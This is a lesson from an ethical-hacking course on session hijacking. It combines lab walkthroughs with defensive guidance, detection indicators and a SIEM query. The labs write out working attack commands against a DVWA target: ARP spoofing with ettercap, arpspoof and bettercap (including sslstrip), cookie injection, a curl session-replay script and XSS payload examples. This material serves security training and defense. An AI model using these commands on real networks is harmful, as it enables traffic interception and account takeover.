Cyber Services / All lessons / CEH — Ethical Hacking / Introduction to Session Hijacking

Introduction to Session Hijacking

Module 69 of 130 · 6 min read · Free to read

MODULES ↓ Command blocks have a COPY button
Professional Guide to Understanding, Detecting, and Preventing Session Attacks

Master session security through practical labs, real-world scenarios, and enterprise defense strategies

Legal & Ethical Notice

Session hijacking techniques must only be used in authorized environments. Ensure you have explicit permission before testing any systems.

  • Use only on systems you own or have written authorization to test
  • Limit testing to isolated lab environments
  • Follow responsible disclosure practices
  • Adhere to all applicable laws and regulations
Advanced Session Hijacking Techniques

II. Advanced Session Hijacking Techniques

Attack Vectors Overview

Session hijacking attacks exploit vulnerabilities in session management mechanisms to unauthorizedly access user accounts. These attacks can be categorized based on their methodology and the attack vector employed.

A. Passive Attacks: Session Capture

Network Sniffing: Intercepting unencrypted network traffic to extract session cookies and tokens from HTTP requests. This attack exploits the fundamental weakness of HTTP protocol where data is transmitted in cleartext.

Technical Deep Dive: How Network Sniffing Works

Network interface cards (NICs) typically operate in non-promiscuous mode, only processing packets addressed to them. Sniffing tools switch the NIC to promiscuous mode, allowing capture of all traffic on the network segment.

OSI Layer Analysis: Session hijacking primarily occurs at Layer 2 (Data Link) and Layer 7 (Application) of the OSI model.

Common Sniffing Techniques:

Technique Layer Tools Detection Difficulty
ARP Spoofing Layer 2 ettercap, arpspoof Medium
Switch Port Mirroring Layer 2 Built-in switch features Hard
Wireless Sniffing Layer 2 airodump-ng, Wireshark Easy (if unencrypted)
Comprehensive Lab: Network Traffic Analysis & Session Capture

Objective: Master the techniques of capturing and analyzing HTTP traffic to identify, extract, and exploit session cookies in a controlled environment.

Phase 1: Environment Configuration

Lab Setup Requirements:

  • Kali Linux 2023.4 or newer
  • DVWA (Damn Vulnerable Web Application) running on Apache/MySQL
  • Wireshark 4.0+ with proper permissions
  • Two separate browser instances
  • Network topology: Isolated lab network
# Verify Kali Linux tools installation
sudo apt update
sudo apt install wireshark ettercap-text-only tcpdump

# Check Wireshark permissions
sudo dpkg-reconfigure wireshark-common
sudo usermod -a -G wireshark $USER

# Start DVWA services
sudo systemctl start apache2
sudo systemctl start mysql

Phase 2: Passive Traffic Capture

Method 1: Direct Interface Monitoring

# Identify your network interface
ip addr show
# Typically eth0 (wired) or wlan0 (wireless)

# Start Wireshark with interface monitoring
sudo wireshark -i eth0 -k -S

# Alternative: Command-line capture with tcpdump
sudo tcpdump -i eth0 -w capture.pcap -s 0 host 192.168.1.100

Wireshark Filter Configuration:

# Basic HTTP traffic filter
http

# Specific host filter
ip.addr == 192.168.1.100 and http

# Cookie-specific filtering
http.cookie

# POST request filtering (login attempts)
http.request.method == "POST"

Phase 3: Active Session Interception

ARP Spoofing Attack Setup:

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Identify target and gateway
route -n
# Gateway typically 192.168.1.1
# Target typically 192.168.1.100

# Start ARP spoofing with ettercap
sudo ettercap -T -M arp:remote /192.168.1.100// /192.168.1.1//

# Alternative with arpspoof
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100
Ethical Consideration: ARP spoofing affects network stability and should only be performed in isolated lab environments with proper authorization.

Phase 4: Session Cookie Extraction & Analysis

Step 1: Capture Login Sequence

  1. Start packet capture before victim logs into DVWA
  2. Filter for HTTP traffic containing "login" or "POST"
  3. Identify the Set-Cookie header in server response

Step 2: Extract Session Identifier

# Example captured HTTP response header
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=u6kgj3vqa8m7n2o1p9r4s5t6u7v8w9x0; path=/
Set-Cookie: security=low; path=/
Content-Type: text/html; charset=UTF-8

Step 3: Analyze Cookie Attributes

Attribute Value Security Implication
PHPSESSID u6kgj3vq... (Session ID) Primary authentication token
security low (Security level) Application configuration
HttpOnly Missing Vulnerable to XSS
Secure Missing Sent over HTTP

Phase 5: Session Hijacking Implementation

Browser-Based Session Takeover:

// JavaScript console injection (if HttpOnly missing)
document.cookie = "PHPSESSID=captured_session_id; path=/";
document.cookie = "security=low; path=/";

// Browser extension method (Cookie Editor)
// Install Cookie-Editor extension
// Modify PHPSESSID value manually

cURL-Based Session Testing:

# Test captured session validity
curl -H "Cookie: PHPSESSID=u6kgj3vq..." \
     http://192.168.1.100/dvwa/vulnerabilities/sqli/

# Automated session replay script
#!/bin/bash
SESSION_ID="captured_session_id"
TARGET_URL="http://192.168.1.100/dvwa/vulnerabilities/exec/"

curl -H "Cookie: PHPSESSID=$SESSION_ID; security=low" \
     -d "ip=127.0.0.1&Submit=Submit" \
     "$TARGET_URL" | grep -E "(Command|output)"

Phase 6: Advanced Analysis & Detection

Traffic Pattern Analysis:

# Extract all cookies from pcap file
tshark -r capture.pcap -Y http.cookie -T fields -e http.cookie

# Analyze session timing patterns
tshark -r capture.pcap -Y "http and ip.src==192.168.1.100" \
       -T fields -e frame.time_relative -e http.request.uri

# Detect ARP spoofing indicators
tshark -r capture.pcap -Y "arp.opcode == 2" | wc -l
# High ARP reply count indicates potential spoofing

Defensive Monitoring Techniques:

  • Implement HTTPS with HSTS enforcement
  • Monitor ARP tables for inconsistencies
  • Deploy network intrusion detection systems (NIDS)
  • Use certificate pinning for critical applications

B. Active Attacks: Session Injection & Manipulation

Cross-Site Scripting (XSS) Attacks: Exploiting application vulnerabilities to execute malicious scripts that steal session cookies.

XSS Attack Vectors:

Type Persistence Example Payload Impact
Stored XSS Permanent <script>stealCookie()</script> All users affected
Reflected XSS Temporary ?search=<script>alert(1)</script> Individual victims
DOM-based XSS Client-side document.write(location.hash) Browser exploitation
Advanced Technique: Combine XSS with CSRF attacks to perform authenticated actions without cookie theft.
Legal & Ethical Warning: These techniques are for educational purposes only. Always obtain proper authorization before testing any systems. Unauthorized access to computer systems is illegal and punishable by law.

III. Kali Linux Practical Labs

Lab 1: Session Interception with Burp Suite

Objective: Intercept and manipulate session cookies

  1. Configure browser to use Burp Suite as proxy (127.0.0.1:8080)
  2. Intercept HTTP requests during login process
  3. Observe session cookie in server response
  4. Use intercepted cookie in a different browser session
  5. Verify unauthorized access to user account
Critical Thinking

What logging mechanisms would detect this type of session hijacking in a production environment?

Lab 2: Automated Session Capture

Using BetterCap for Network-level Attacks

# Start BetterCap for ARP spoofing and traffic capture
sudo bettercap -iface eth0 -eval "
set arp.spoof.targets 192.168.1.100;
arp.spoof on;
set http.proxy.sslstrip true;
http.proxy on;
net.sniff on;
"

Monitor the output for captured cookies and session tokens transmitted over HTTP.

IV. Real-World Attack Scenarios

Case Study: OAuth Token Hijacking

Attackers exploited an XSS vulnerability in a subdomain to steal OAuth tokens, leading to unauthorized access across integrated enterprise applications.

Attack Chain Analysis:

  1. XSS vulnerability in support subdomain
  2. Malicious script exfiltrates OAuth access tokens
  3. Tokens used to access email, file storage, and collaboration tools
  4. Lateral movement through connected services
Defense Recommendations
  • Implement Content Security Policy (CSP) headers
  • Use short-lived tokens with secure refresh mechanisms
  • Bind tokens to client characteristics (IP, user agent)
  • Monitor for anomalous token usage patterns

V. Enterprise Defense Strategies

Layered Security Controls

1. Fundamental Session Protections

  • Secure Flag: Ensure cookies are only transmitted over HTTPS
  • HttpOnly Flag: Prevent JavaScript access to cookies
  • SameSite Attribute: Mitigate CSRF attacks
  • Appropriate Timeouts: Balance usability and security
  • Session Regeneration: Change session ID after authentication

2. Advanced Security Measures

  • Client Binding: Associate sessions with specific client attributes
  • Behavioral Analysis: Detect unusual session activity
  • Multi-factor Authentication: Add additional authentication factors

VI. Detection & Forensics

Identifying Session Hijacking

Key Detection Indicators:

  • Simultaneous session usage from geographically distant locations
  • Changes in user-agent strings during a session
  • Session activity after user logout
  • Unusual access patterns or privilege escalation

SIEM Query Example:

# Detect potential session hijacking
index=web_logs 
| stats dc(src_ip) as ip_count, dc(user_agent) as ua_count by session_id 
| search ip_count > 1 OR ua_count > 1
| table session_id, ip_count, ua_count
Modules (130) ← CEH — Ethical Hacking